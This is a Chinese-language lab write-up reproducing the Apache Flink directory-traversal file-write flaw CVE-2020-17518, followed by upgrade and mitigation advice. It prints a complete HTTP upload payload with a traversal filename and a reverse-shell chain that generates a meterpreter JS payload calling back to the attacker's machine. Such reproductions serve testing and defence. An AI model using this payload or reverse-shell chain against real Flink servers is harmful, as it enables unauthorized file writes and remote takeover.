Apache Flink 目录遍历漏洞(CVE-2020-17518)复现与分析
漏洞概述
漏洞背景
Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,可以执行批处理和流处理程序。
漏洞描述
CVE-2020-17518是一个文件写入漏洞,影响Apache Flink 1.5.1至1.11.2版本。该漏洞通过REST API允许攻击者通过恶意修改的HTTP头部将文件写入本地文件系统上的任意位置。
影响范围
- Apache Flink 1.5.1 - 1.11.2
严重等级
- 高危
环境搭建
系统要求
- 操作系统:Windows(也可运行在Linux和Mac OS X上)
- 必须安装JDK 8.X
安装步骤
-
下载Apache Flink:
- 官网下载地址:https://flink.apache.org/zh/downloads.html
- 百度网盘(备用):https://pan.baidu.com/s/1kmnXBD_5685cvgmsQ7xEbg 提取码:n9bs
-
安装JDK 8.X(参考:http://www.itclj.com/blog/5920236681c06e672f942ad4)
-
启动Flink:
- 解压下载的Flink包
- 进入bin目录
- 双击运行start-cluster.bat
- 默认开启8081端口,访问http://your-ip:8081
漏洞复现
基本文件写入测试
- 攻击机:Kali Linux (IP: 192.168.0.105)
- 靶机:Windows 10 x64 (IP: 192.168.0.102)
使用Burp Suite发送以下Payload:
POST /jars/upload HTTP/1.1
Host: your-ip:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=7953587633284837342617937085
Content-Length: 7302
Origin: http://your-ip:8081
Connection: close
Referer: http://your-ip:8081/
Content-Disposition: form-data; name="jarfile"; filename="/Users/admin/AppData/Local/Temp/flink-web-c208315e-b746-4692-8281-1d566b1b8c09/flink-web-ui/success.txt"
Content-Type: application/octet-stream
Success
此Payload将在Windows主机的C:/Users/admin/AppData/Local/Temp/flink-web-c208315e-b746-4692-8281-1d566b1b8c09/flink-web-ui/目录下创建success.txt文件,内容为"Success"。
反弹Shell利用
-
生成JS反弹Shell脚本:
- 使用ps1encode工具:
git clone https://github.com/CroweCybersecurity/ps1encode.git - 生成Payload:
./ps1encode.rb --LHOST 192.168.0.105 --LPORT 4444 --PAYLOAD windows/meterpreter/reverse_tcp --ENCODE cmd -t js
- 使用ps1encode工具:
-
修改之前的Payload,将文件名改为success.js,内容替换为生成的JS反弹Shell代码
-
创建HTML文件触发JS执行:
<html> <title>这是一个惊喜</title> <body> <script type="text/javascript" src="success.js"></script> </body> </html> -
执行success.html文件:
- 打开文件
- 选择"运行"->"允许阻止内容"->"是"
-
使用MSF监听:
- 设置监听器接收反弹Shell
注意:实际测试中可能会遇到连接建立但无法执行命令的情况,这可能是由于权限或安全策略限制。
修复建议
官方补丁
Apache Flink官方已在新版本中修复此漏洞,建议升级至:
- Flink 1.11.3
- 或1.12.0
下载链接:https://flink.apache.org/downloads.html
临时缓解措施
如果无法立即升级,建议:
- 限制对Flink REST API的访问
- 使用网络防火墙规则限制访问源
- 监控可疑的文件创建活动
技术分析
该漏洞源于Flink REST API对文件上传功能的不当处理,攻击者可以通过构造恶意的Content-Disposition头部实现目录遍历攻击。关键点在于:
- 攻击者可以控制上传文件的路径
- 系统未对文件路径进行充分验证
- 可以上传任意类型文件,包括可执行脚本
这种漏洞可能导致:
- 敏感信息泄露
- 系统被完全控制
- 内网横向移动